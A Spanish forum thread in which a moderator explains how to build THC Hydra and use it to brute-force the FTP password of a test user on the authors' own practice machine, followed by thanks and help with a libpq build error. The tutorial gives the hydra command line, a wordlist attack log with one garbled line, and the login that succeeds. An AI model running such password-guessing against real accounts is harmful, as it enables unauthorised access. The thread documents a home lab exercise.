¡Hola, Invitado!


Patrocinantes


Síguenos en Facebook


Síguenos en Twitter

Compartir este tema:
Tutorial Hydra, instalación y práctica.
rogunix Sin conexión
Moderador Global
******

Mensajes: 381
Registro en: Jul 2010
Twitter
Gracias dados: 37
Gracias recibidos: 23
Mensaje: #1
Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Aqui os traigo un tutorial sobre Hydra, The Hackers Choice.

Con un compañero disponia de un pc el cual configuramos como servidor, se nos ocurrió la idea de hacer practicas con Hydra. Tras instalar el prótocolo ssh para conectarnos al mismo instalamos también el protocolo FTP y Hydra (Instalamos Hydra en el mismo equipo para que el proceso sea mucho mas rápido y no haya problemas de conexión al enviar paquetes constantemente a una red domestica).

¿Que es Hydra?

Hydra es una herramienta de fuerza bruta que puede ser usada para los siguientes protocolos

TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, LDAP, PostgreSQL, Teamspeak, Cisco auth, Cisco enable, and Cisco AAA

¿Como instalamos Hydra?

(Este tutorial es para su instalación en Ubuntu, no daré soporte a sistemas mierdow$.)

Al instalarlo en modo terminal ya disponemos de xhydra (Interfaz gráfico)

Primero instalamos las dependencias:

Lenguaje BASH
$ sudo apt-get install libssl-dev libgtk2.0-dev


Nos bajamos la aplicación, este tutorial lo cree para la version 5.4 pero hace poco ha salido la 5.7 con lo cual simplemente habria que cambiar el nombre al compilar para la 5.7 (recomiendo la 5.7 puesto a que xhydra ya no sufre tantos errores).

http://freeworld.thc.org/releases/hydra-5.4-src.tar.gz
o
http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz


Ahora movemos nuestro archivo a donde queramos para compilar, yo por comodidad y seguridad lo coloco en mi directorio root.

Lenguaje BASH
$ mkdir ~/bin
$ tar -xvzf hydra-5.4-src.tar.gz -C ~/bin
$ cd ~/bin/hydra-5.4-src


Y compilamos

Lenguaje BASH
$ ./configure ; make ; make install


Si nos da el mensaje de

Cita:hydra is ready to go!

O algo similar es que ya tendremos nuestra aplicación instalada. Si teneis algun error postear.

Empezemos con la práctica, como hemos dicho anteriormente vamos a hacer esta practica dentro de otra máquina, con lo cual nos conectamos a la otra maquina mediante el protocolo ssh:

Lenguaje BASH
$ ssh -C direccion@servidor


Ya dentro de la otra máquina procedemos a crackear la contraseña de un usuario concreto en el protocolo ftp. Para ello vemos la ayuda de hydra simplemente nos colocamos en su directorio, por ejemplo si seguimos los pasos aqui dichos, el directorio sería

Lenguaje BASH
$ cd '/root/bin/hydra-5.4-src'

(aseguraos de loggearos como root para tener acceso a esa carpeta)

Y ahora vemos la ayuda

Lenguaje BASH
$ ./hydra


Nos mostrará algo similar a esto

Cita:root@rogunix-pc:~/bin/hydra-5.4-src# ./hydra
Hydra v5.4 [http://www.thc.org] © 2006 by van Hauser / THC <vh@thc.org>

Syntax: ./hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

Options:
-R restore a previous aborted/crashed session
-S connect via SSL
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-e ns additional checks, "n" for null password, "s" try login as pass
-C FILE colon seperated "login:pass" format, instead of -L/-P options
-M FILE server list for parallel attacks, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f exit after the first found login/password pair (per host if -M)
-t TASKS run TASKS number of connects in parallel (default: 16)
-w TIME defines the max wait time in seconds for responses (default: 30)
-v / -V verbose mode / show login+pass combination for each attempt
server the target server (use either this OR the -M option)
service the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd

OPT some service modules need special input (see README!)

Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy.
Hydra is a tool to guess/crack valid login/password pairs - use allowed only
for legal purposes! If used commercially, tool name, version and web address
must be mentioned in the report. Find the newest version at http://www.thc.org
Y tenemos todas las opciones posibles, ahora procedemos al crackeo

Lenguaje BASH
$ ./hydra -l nombre_usuario -P lista_passwords -V localhost ftp


Vamos a explicar el script:

-l: especificamos el login name, en este caso ya tenemos el usuario concreto al que queremos crackearle la contraseña, si nó dispusiesemos de un user concreto bastaria con usar una lista de users posibles.

-P: Aqui necesitamos una lista de posibles contraseñas con las que realizar la fuerza bruta, os recomiendo descargarlos listas de palabras (wordlists), googleando hay una infinidad de lugares pero os recomiendo aqui

-V: Especificamos un modo continuo para el ataque

localhost ftp: Especificamos el host al que atacar y el protocolo, como estamos dentro de la otra máquina especificamos "localhost"

Con lo que nos quedaria algo asi

Lenguaje BASH
$ hydra -l crackme -P password.lst -V localhost ftp

(nuestro user objetivo era "crackme")

Y empezaria el crackeo

Cita:anonimo@pruebas:~$ hydra -l crackme -P password.lst -V localhost ftp
Hydra v5.7 © 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2010-07-04 23:54:44
[DATA] 16 tasks, 1 servers, 43 login tries (l:1/p:43), ~2 tries per task
[DATA] attacking service ftp on port 21
[ATTEMPT] target localhost - login "crackme" - pass "123456" - child 0 - 1 of 43
[ATTEMPT] target localhost - login "crackme" - pass "jesus" - child 1 - 2 of 43
[ATTEMPT] target localhost - login "crackme" - pass "12345678" - child 2 - 3 of 43
[ATTEMPT] target localhost - login "crackme" - pass "christ" - child 3 - 4 of 43
[ATTEMPT] target localhost - login "crackme" - pass "jesus1" - child 4 - 5 of 43
[ATTEMPT] target localhost - login "crackme" - pass "blessed" - child 5 - 6 of 43
[ATTEMPT] target localhost - login "crackme" - pass "sunshine" - child 6 - 7 of 43
[ATTEMPT] target localhost - login "crackme" - pass "1234567" - child 7 - 8 of 43
[ATTEMPT] target localhost - login "crackme" - pass "angel" - child 8 - 9 of 43
[ATTEMPT] target localhost - login "crackme" - pass "single" - child 9 - 10 of 43
[ATTEMPT] target localhost - login "crackme" - pass "freedom" - child 10 - 11 of 43
[ATTEMPT] target localhost - login "crackme" - pass "blessing" - child 11 - 12 of 43
[ATTEMPT] target localhost - login "crackme" - pass "12345" - child 12 - 13 of 43
[ATTEMPT] target localhost - login "crackme" - pass "grace" - child 13 - 14 of 43
[ATTEMPT] target localhost - login "crackme" - pass "7777777" - child 14 - 15 of 43
[ATTEMPT] target localhost - login "crackme" - pass "heaven" - child 15 - 16 of 43
[ATTEMPT] target localhost - login "crackme" - pass "angels" - child 4 - 17 of 43
[ATTEMPT] target localhost - login "crackme" - pass "shadow" - child 3 - 18 of 43
[ATTEMPT] target localhost - login "crackme" - pass "1234" - child 15 - 19 of 43
[ATTEMPT] target localhost - login "crackme" - pass "blablabla" - child 1 - 20 of 43
[ATTEMPT] target localhost - login "crackme" - pass "tigger" - child 2 - 21 of 43
[ATTEMPT] target localhost - login "crackme" - pass "summer" - child 0 - 22 of 43
[ATTEMPT] target localhost - login "crackme" - pass "hope" - child 5 - 23 of 43
[ATTEMPT] target localhost - login "crackme" - pass "looking" - child 6 - 24 of 43
[ATTEMPT] target localhost - login "crackme" - passocalhost ftp "peace" - child 7 - 25 of 43
[ATTEMPT] target localhost - login "crackme" - pass "mother" - child 8 - 26 of 43
[ATTEMPT] target localhost - login "crackme" - pass "michael" - child 9 - 27 of 43
[ATTEMPT] target localhost - login "crackme" - pass "shalom" - child 14 - 28 of 43
[ATTEMPT] target localhost - login "crackme" - pass "rotimi" - child 10 - 29 of 43
[ATTEMPT] target localhost - login "crackme" - pass "football" - child 11 - 30 of 43
[ATTEMPT] target localhost - login "crackme" - pass "victory" - child 12 - 31 of 43
[ATTEMPT] target localhost - login "crackme" - pass "happy" - child 13 - 32 of 43
[21][ftp] host: 127.0.0.1 login: crackme password: blablabla
[STATUS] attack finished for localhost (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2010-07-04 23:54:52

Hemos finalizado y nos ha mostrado login: crackme password: blablabla

Nos loggeamos y listo, ya tenemos acceso al servicio ftp.

Cita: anonimo@pruebas:~$ ftp localhost
Connected to localhost.
220 pruebas FTP server (Version 6.4/OpenBSD/Linux-ftpd-0.17) ready.
Name (localhost:anonimo): crackme
331 Password required for crackme.
Password:
230- Linux pruebas 2.6.31-22-generic #60trisquel1 SMP Thu Jun 3 18:48:52 UTC 2010 i686
230- ___ ___ ___ ___ ___ ___ ___
230- /\ \ /\ \ ___ /\ \ /\ \ /\__\ /\ \ /\__\
230- \ \ \ / \ \ /\ \ / \ \ / \ \ / / / / \ \ / / /
230- \ \ \ / /\ \ \ \ \ \/ /\ \ \ / /\ \ \ / / / / /\ \ \ / / /
230- / \ \/ \ \ \ \ / \__\ \ \ \ \/ / \ \ \ / / ___/ \ \ \ \/ / /
230- / /\ \__\/\ \ \ \__\/ /\/__/\ \ \ \__\/__/ \ \__\__/ /\__\/\ \ \ \__\/__/
230- / / \/__/_| \/ / / / /\ \ \ \ \/__/\ \ / / / \ / / /\ \ \ \/__/\ \
230- / / / | | / / /__/ \ \ \ \__\ \ \/\/ / / \ / / /\ \ \ \__\ \ \ \
230- \/__/ | |\/__/\ \__\ \ \/ / / \ / / \ \/ / / \ \ \/__/ \ \ \
230- | | | \/__/ \ / / \ / / \ / / \ \__\ \ \__\
230- \|__| \/__/ \/__/ \/__/ \/__/ \/__/
230-
230 User crackme logged in.

Esto es todo, cualquier duda postea, espero que os sea util.

Saludos.

[Imagen: e53.gif]
Linux Registered User #511239
(Este mensaje fue modificado por última vez en: 21-08-2010 07:48 PM por rogunix.)
03-08-2010 07:52 AM
WWW Buscar Citar
Han agradecido: -Gosw-
.:WindHack:. Sin conexión
Administrador
*******

Mensajes: 842
Registro en: Jul 2010
Facebook Google+ Twitter YouTube
Gracias dados: 62
Gracias recibidos: 60
Mensaje: #2
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Veo que usaste la versión 5.4, según la página oficial del proyecto ya lanzaron la 5.7.
Suprimieron el soporte completo a plataformas Windows (NT).

Muchas gracias por el tutorial, bastante completo. Cuando esté en Linux me instalo el Hydra. :D

[Imagen: WindSig.php]
[Imagen: DaW-User.png]
[Imagen: administradorq.png]
"The only thing they can't take from us are our minds."
03-08-2010 07:56 AM
WWW Buscar Citar
BlackCode Sin conexión
Moderador Global
******

Mensajes: 47
Registro en: Jul 2010
Facebook Twitter YouTube
Gracias dados: 7
Gracias recibidos: 0
Mensaje: #3
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Me pondre a probarlo justo ahora

Lo ultimo que podran quitarnos seran nuestras mentes.
03-08-2010 04:54 PM
Buscar Citar
jeann Sin conexión
Moderador
*****

Mensajes: 479
Registro en: Jul 2010
Gracias dados: 36
Gracias recibidos: 22
Mensaje: #4
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Buen material, ya lo voy a probar

[Imagen: Venezuela.GIF]
[Imagen: stallmanbaja212x300.jpg]
[Imagen: moderadorrt.png]
05-08-2010 04:13 AM
Buscar Citar
Nevur Sin conexión
Miembro
***

Mensajes: 39
Registro en: Jul 2010
Gracias dados: 1
Gracias recibidos: 1
Mensaje: #5
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Muy buen aporte Rogunix. Me va perfecto y ya me esta siendo de gran utilidad.

Saludos.
15-08-2010 06:34 AM
Buscar Citar
Han agradecido: jeann
rogunix Sin conexión
Moderador Global
******

Mensajes: 381
Registro en: Jul 2010
Twitter
Gracias dados: 37
Gracias recibidos: 23
Mensaje: #6
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Un placer :).

[Imagen: e53.gif]
Linux Registered User #511239
15-08-2010 09:59 PM
WWW Buscar Citar
nck Sin conexión
Miembro
***

Mensajes: 2
Registro en: Aug 2010
Gracias dados: 0
Gracias recibidos: 0
Mensaje: #7
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Ola a todos soy nuevo en este tema y tengo un error al instalar el hydra cuando hago el ./configure ; make ; make install, ya que en todo lo anterior no tengo ningun problema.
Ojala puedan ayudarme..gracias de antemano..

mlinx@mlinx:~/bin/hydra-5.7-src$ ./configure ; make ; make install

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...... found
Checking for Postgres (libpq.so) ...... found
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/l.../index.asp
Checking for libssh (libssh/libssh.h) ...... NOT found, module ssh2 disabled
Get it from http://www.libssh.org
Checking for GUI req's (pkg-config) ...... found

Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)

Writing Makefile.in ...
now type "make"
gcc -I. -Wall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o hydra-socks5.o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hydra-smb.o hydra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-smbnt.o hydra-mssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-teamspeak.o hydra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-pcanywhere.o hydra-sip.o hydra-vmauthd.o hydra-smtpauth-ntlm.o hydra-firebird.o hydra-ncp.o hydra-http-proxy-auth-ntlm.o hydra-imap-ntlm.o hydra-pop3-ntlm.o hydra-http-form.o crc32.o d3des.o md4.o hydra-mod.o ntlm.o hydra.o -lm -lssl -lpq -lcrypto -L/usr/lib -L/usr/local/lib -L/lib -L/lib -L/usr/lib
/usr/bin/ld: cannot find -lpq
collect2: ld returned 1 exit status
make: *** [hydra] Error 1
gcc -I. -Wall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o hydra-socks5.o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hydra-smb.o hydra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-smbnt.o hydra-mssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-teamspeak.o hydra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-pcanywhere.o hydra-sip.o hydra-vmauthd.o hydra-smtpauth-ntlm.o hydra-firebird.o hydra-ncp.o hydra-http-proxy-auth-ntlm.o hydra-imap-ntlm.o hydra-pop3-ntlm.o hydra-http-form.o crc32.o d3des.o md4.o hydra-mod.o ntlm.o hydra.o -lm -lssl -lpq -lcrypto -L/usr/lib -L/usr/local/lib -L/lib -L/lib -L/usr/lib
/usr/bin/ld: cannot find -lpq
collect2: ld returned 1 exit status
make: *** [hydra] Error 1

no se si talvez sea por lo de /usr/bin/ld: cannot find -lpq.
Gracias..nuevamente...por la ayuda..
21-08-2010 02:16 PM
Buscar Citar
-Gosw- Sin conexión
Administrador
*******

Mensajes: 1.990
Registro en: Jul 2010
Facebook Twitter YouTube
Gracias dados: 62
Gracias recibidos: 97
Mensaje: #8
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Hola, bienvenido a Cibernodo.

Ok, vayamos por partes, primero que nada realiza los comandos ./configure, make y make install por separado, es decir, uno por uno:

Primero ./configure

Segundo make

Tercero make install

Así hallaremos cual comando específicamente te general error, lo mas probable es que te falta un paquete y te este fallando el make que es el constructor.

[Imagen: administradorq.png]
HTC Desire SLCD: S-OFF, cm7/r2 hboot, CyanogenMod Kernel, CyanogenMod NB 262
Samsung Galaxy S i9000: Chainfire Kernel (CF-ROOT), Value Pack ROM 2.3.6 JVU
SE Xperia x10i: Unlocked Bootloader, FXP052 Kernel, CyanogenMod 7.2.0 FXP052
Motorola Dext MB200: CyanogenMod 7.1 RC1
LG Optimus One P500: Stock ROM 2.3.3
ZTE Racer: Stock
(Este mensaje fue modificado por última vez en: 21-08-2010 03:07 PM por -Gosw-.)
21-08-2010 03:06 PM
WWW Buscar Citar
nck Sin conexión
Miembro
***

Mensajes: 2
Registro en: Aug 2010
Gracias dados: 0
Gracias recibidos: 0
Mensaje: #9
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Bueno gracias por la respuesta. aqui comando por comando como me sale:

mlinx@mlinx:~/bin/hydra-5.7-src$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl/ssl.h) ...... found
Checking for Postgres (libpq.so) ...... found
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/l.../index.asp
Checking for libssh (libssh/libssh.h) ...... NOT found, module ssh2 disabled
Get it from http://www.libssh.org
Checking for GUI req's (pkg-config) ...... found

Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)

Writing Makefile.in ...
now type "make"

ahora el make

mlinx@mlinx:~/bin/hydra-5.7-src$ make
gcc -I. -Wall -O2 -o pw-inspector pw-inspector.c
gcc -I. -Wall -O2 -c hydra-vnc.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-pcnfs.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-rexec.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-nntp.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-socks5.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-telnet.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-cisco.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-http.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-ftp.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-imap.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-pop3.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-smb.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-icq.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-cisco-enable.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-ldap.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-mysql.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-http-proxy.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-smbnt.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-mssql.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-snmp.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-cvs.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-smtpauth.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-sapr3.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-ssh2.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-teamspeak.c -DLIBOPENSSL -DLIBPOSTGRES
In file included from /usr/include/string.h:640,
from hydra.h:5,
from hydra-mod.h:8,
from hydra-teamspeak.c:1:
In function ‘strcpy’,
inlined from ‘start_teamspeak’ at hydra-teamspeak.c:45:
/usr/include/bits/string3.h:106: warning: call to __builtin___strcpy_chk will always overflow destination buffer
gcc -I. -Wall -O2 -c hydra-postgres.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-rsh.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-rlogin.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-oracle-listener.c -DLIBOPENSSL -DLIBPOSTGRES
hydra-oracle-listener.c:10:2: warning: #warning "The Oracle Listener module does not work yet"
gcc -I. -Wall -O2 -c hydra-svn.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-pcanywhere.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-sip.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-vmauthd.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-smtpauth-ntlm.c -DLIBOPENSSL -DLIBPOSTGRES
hydra-smtpauth-ntlm.c: In function ‘start_smtpauth_ntlm’:
hydra-smtpauth-ntlm.c:33: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-smtpauth-ntlm.c:33: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-smtpauth-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-smtpauth-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-firebird.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-ncp.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-http-proxy-auth-ntlm.c -DLIBOPENSSL -DLIBPOSTGRES
hydra-http-proxy-auth-ntlm.c: In function ‘start_http_proxy_auth_ntlm’:
hydra-http-proxy-auth-ntlm.c:50: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-http-proxy-auth-ntlm.c:50: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-http-proxy-auth-ntlm.c:68: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-http-proxy-auth-ntlm.c:68: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-imap-ntlm.c -DLIBOPENSSL -DLIBPOSTGRES
hydra-imap-ntlm.c: In function ‘start_imap_ntlm’:
hydra-imap-ntlm.c:41: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-imap-ntlm.c:41: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-imap-ntlm.c:52: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-imap-ntlm.c:52: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-pop3-ntlm.c -DLIBOPENSSL -DLIBPOSTGRES
hydra-pop3-ntlm.c: In function ‘start_pop3_ntlm’:
hydra-pop3-ntlm.c:40: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-pop3-ntlm.c:40: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-pop3-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
hydra-pop3-ntlm.c:51: warning: dereferencing type-punned pointer will break strict-aliasing rules
gcc -I. -Wall -O2 -c hydra-http-form.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c crc32.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c d3des.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c md4.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra-mod.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c ntlm.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -c hydra.c -DLIBOPENSSL -DLIBPOSTGRES
gcc -I. -Wall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o hydra-socks5.o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hydra-smb.o hydra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-smbnt.o hydra-mssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-teamspeak.o hydra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-pcanywhere.o hydra-sip.o hydra-vmauthd.o hydra-smtpauth-ntlm.o hydra-firebird.o hydra-ncp.o hydra-http-proxy-auth-ntlm.o hydra-imap-ntlm.o hydra-pop3-ntlm.o hydra-http-form.o crc32.o d3des.o md4.o hydra-mod.o ntlm.o hydra.o -lm -lssl -lpq -lcrypto -L/usr/lib -L/usr/local/lib -L/lib -L/lib -L/usr/lib
/usr/bin/ld: cannot find -lpq
collect2: ld returned 1 exit status
make: *** [hydra] Error 1

ahora el make install, aunque creo que no sirve de nada porque el make saca el error.

mlinx@mlinx:~/bin/hydra-5.7-src$ make install
gcc -I. -Wall -O2 -lm -o hydra hydra-vnc.o hydra-pcnfs.o hydra-rexec.o hydra-nntp.o hydra-socks5.o hydra-telnet.o hydra-cisco.o hydra-http.o hydra-ftp.o hydra-imap.o hydra-pop3.o hydra-smb.o hydra-icq.o hydra-cisco-enable.o hydra-ldap.o hydra-mysql.o hydra-http-proxy.o hydra-smbnt.o hydra-mssql.o hydra-snmp.o hydra-cvs.o hydra-smtpauth.o hydra-sapr3.o hydra-ssh2.o hydra-teamspeak.o hydra-postgres.o hydra-rsh.o hydra-rlogin.o hydra-oracle-listener.o hydra-svn.o hydra-pcanywhere.o hydra-sip.o hydra-vmauthd.o hydra-smtpauth-ntlm.o hydra-firebird.o hydra-ncp.o hydra-http-proxy-auth-ntlm.o hydra-imap-ntlm.o hydra-pop3-ntlm.o hydra-http-form.o crc32.o d3des.o md4.o hydra-mod.o ntlm.o hydra.o -lm -lssl -lpq -lcrypto -L/usr/lib -L/usr/local/lib -L/lib -L/lib -L/usr/lib
/usr/bin/ld: cannot find -lpq
collect2: ld returned 1 exit status
make: *** [hydra] Error 1
21-08-2010 03:31 PM
Buscar Citar
-Gosw- Sin conexión
Administrador
*******

Mensajes: 1.990
Registro en: Jul 2010
Facebook Twitter YouTube
Gracias dados: 62
Gracias recibidos: 97
Mensaje: #10
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Instalaste las dependencias??

Lenguaje BASH
sudo apt-get install libssl-dev libgtk2.0-dev


Otra cosa, estas ejecutando el make en modo superusuario??

[Imagen: administradorq.png]
HTC Desire SLCD: S-OFF, cm7/r2 hboot, CyanogenMod Kernel, CyanogenMod NB 262
Samsung Galaxy S i9000: Chainfire Kernel (CF-ROOT), Value Pack ROM 2.3.6 JVU
SE Xperia x10i: Unlocked Bootloader, FXP052 Kernel, CyanogenMod 7.2.0 FXP052
Motorola Dext MB200: CyanogenMod 7.1 RC1
LG Optimus One P500: Stock ROM 2.3.3
ZTE Racer: Stock
(Este mensaje fue modificado por última vez en: 21-08-2010 05:40 PM por -Gosw-.)
21-08-2010 05:39 PM
WWW Buscar Citar
rogunix Sin conexión
Moderador Global
******

Mensajes: 381
Registro en: Jul 2010
Twitter
Gracias dados: 37
Gracias recibidos: 23
Mensaje: #11
RE: Tutorial Hydra, instalación y práctica.
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Uhm, creo que te falta alguna dependencia, yo acabo de instalar el 5.7 ahora en la misma dependencia que tengo el 5.4 y 0 errores.

